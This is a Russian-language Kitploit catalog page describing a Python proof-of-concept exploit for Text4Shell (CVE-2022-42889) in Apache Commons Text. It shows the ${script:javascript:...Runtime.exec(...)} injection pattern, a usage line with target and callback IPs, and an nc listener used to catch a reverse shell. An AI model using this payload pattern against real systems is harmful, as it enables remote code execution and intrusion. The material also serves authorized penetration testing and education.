Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
text4shell-exploit — Пользовательский эксплойт proof-of-concept (PoC) на Python, нацеленный на Text4Shell (CVE-2022-42889), критическую уязвимость удаленного выполнения кода в версиях Apache Commons Text < 1.10. | Kitploit
Инструменты/GitHubGitHub/syndicate27/text4shell-exploit
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubsyndicate27/text4shell-exploit

text4shell-exploit

Пользовательский эксплойт proof-of-concept (PoC) на Python, нацеленный на Text4Shell (CVE-2022-42889), критическую уязвимость удаленного выполнения кода в версиях Apache Commons Text < 1.10.

Репозиторий
161 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

text4shell-exploit

Пользовательский proof-of-concept (PoC) эксплойт на Python, нацеленный на уязвимость Text4Shell (CVE-2022-42889) — критическую уязвимость удаленного выполнения кода в Apache Commons Text версий < 1.10. Данный эксплойт атакует уязвимые Java-приложения, использующие класс StringSubstitutor с включенной интерполяцией, что позволяет внедрять выражения ${script:...} для выполнения произвольных системных команд.

В этом PoC эксплуатация демонстрируется через параметр запроса data; однако имя уязвимого параметра может различаться в зависимости от реализации. Пользователям следует адаптировать полезную нагрузку и путь запроса в соответствии с логикой целевого приложения.

Отказ от ответственности: Данный эксплойт предоставлен только для образовательных целей и авторизованного тестирования на проникновение. Используйте ответственно и на свой страх и риск.

Описание

Это пользовательский эксплойт на Python3 для уязвимости Apache Commons Text, известной как Text4Shell (CVE-2022-42889). Он позволяет удаленное выполнение кода (RCE) через небезопасные интерполяторы, когда пользовательский ввод динамически обрабатывается StringSubstitutor.

Протестировано на:

  • Apache Commons Text < 1.10.0
  • Java-приложениях, использующих интерполяцию ${script:...} из недоверенного ввода

Использование

python3 text4shell.py <target_ip> <callback_ip> <callback_port>

Пример

python3 text4shell.py 127.0.0.1 192.168.1.2 4444

Убедитесь, что на вашей атакующей машине запущен слушатель:

nc -nlvp 4444

Логика полезной нагрузки

Скрипт внедряет:

${script:javascript:java.lang.Runtime.getRuntime().exec(...)}

Обратный шелл отправляется через параметр /data с помощью POST-запроса.

Скачать инструмент